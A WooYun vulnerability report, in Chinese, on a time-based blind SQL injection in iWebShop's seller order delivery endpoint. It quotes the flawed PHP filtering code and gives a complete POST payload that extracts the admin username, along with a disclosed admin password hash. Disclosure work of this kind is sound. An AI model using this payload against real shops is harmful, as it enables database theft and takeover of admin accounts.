当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093444

漏洞标题:Iwebshop最新版SQL注入一枚

相关厂商:jooyea.net

漏洞作者: 路人甲

提交时间:2015-04-09 12:39

修复时间:2015-07-13 12:40

公开时间:2015-07-13 12:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开

简要描述:

Iwebshop最新版SQL注入一枚

详细说明:

看到wooyun上有人提了几个iweshop(2014-11-18更新)的漏洞( WooYun: iWebShop开源电子商务系统SQL注入漏洞 ),去官网看了看,在2014-12-16 已更新到了 iwebshop2.9.14121000,下下来研究研究,希望不要重复。
注入一枚:POST /index.php?controller=seller&action=order_delivery_doc POST参数中的sendgoods过滤不完全,注入成功,文件在/controllers/seller.php的order_delivery_doc()方法中
看看代码/controllers/seller.php

public function order_delivery_doc()
{
//获得post变量参数
$order_id = IFilter::act(IReq::get('id'),'int');
//发送的商品关联
$sendgoods = IFilter::act(IReq::get('sendgoods'));
if(!$sendgoods)
{
die('请选择要发货的商品');
}
Order_Class::sendDeliveryGoods($order_id,$sendgoods,$this->seller['seller_id'],'seller');
$this->redirect('order_list');
}


$sendgoods 是这样获得的$sendgoods = IFilter::act(IReq::get('sendgoods'));
,去看看IFilter::act
/lib/core/util/filter_class.php

/**
* @brief 对字符串进行过滤处理
* @param string $str 被过滤的字符串
* @param string $type 过滤数据类型 值: int, float, string, text, bool, url
* @param int $limitLen 被输入的最大字符个数 , 默认不限制;
* @return string 被过滤后的字符串
* @note 默认执行的是string类型的过滤
*/
public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
foreach($str as $key => $val)
{
$resultStr[$key] = self::act($val, $type, $limitLen);
}
return $resultStr;
}
else
{
switch($type)
{
case "int":
return intval($str);
break;
case "float":
return floatval($str);
break;
case "text":
return self::text($str,$limitLen);
break;
case "bool":
return (bool)$str;
break;
case "url":
return self::clearUrl($str);
break;
case "filename":
return self::fileName($str);
break;
default:
return self::string($str,$limitLen);
break;
}
}
}


因为在获取$sendgoods时,act()没有指定第二个类型参数,所以,把$sendgoods 当作string过滤,这里是数字型的,不用闭合单引号。
再去看看Order_Class::sendDeliveryGoods

无关代码
//获得delivery_doc表的对象
$tb_delivery_doc = new IModel('delivery_doc');
$tb_delivery_doc->setData($paramArray);
$deliveryId = $tb_delivery_doc->add();
//更新发货状态
$orderGoodsDB = new IModel('order_goods');
$orderGoodsRow = $orderGoodsDB->getObj('is_send = 0 and order_id = '.$order_id,'count(*) as num');
$sendStatus = 2;//部分发货
if(count($order_goods_relation) >= $orderGoodsRow['num'])
{
$sendStatus = 1;//全部发货
}
foreach($order_goods_relation as $key => $val)
{
$orderGoodsDB->setData(array(
"is_send" => 1,
"delivery_id" => $deliveryId,
));
$orderGoodsDB->update(" id = {$val} ");
}
无关代码


其中的$order_goods_relation即为$sendgoods,全程没有再过滤,造成了注入
测试方法:测试方法:申请开店后,发布一个商品并且上架后->另一个账号购买(选择货到付款)->发货
Payload:POST提交

order_no=20150118220152748220&id=5&weight_total=345&user_id=3&freight=20.00&name=%E9%9B%B7%E5%85%B4%E5%8A%9B&telphone=18601402547&mobile=18601402547&postcode=100000&freight_id=1&delivery_code=123124&province=110000&city=110100&area=110116&address=%E5%8C%97%E4%BA%AC%E5%B8%82%E8%A5%BF%E7%9B%B4%E9%97%A8%E5%86%85%E5%A4%A7%E8%A1%97186%E5%8F%B7&note=&sendgoods%5B%5D=-1 or(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=98,sleep(1),0))


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图

猜测失败副本.jpg


若正确,延迟3s左右,如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-13 12:40

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无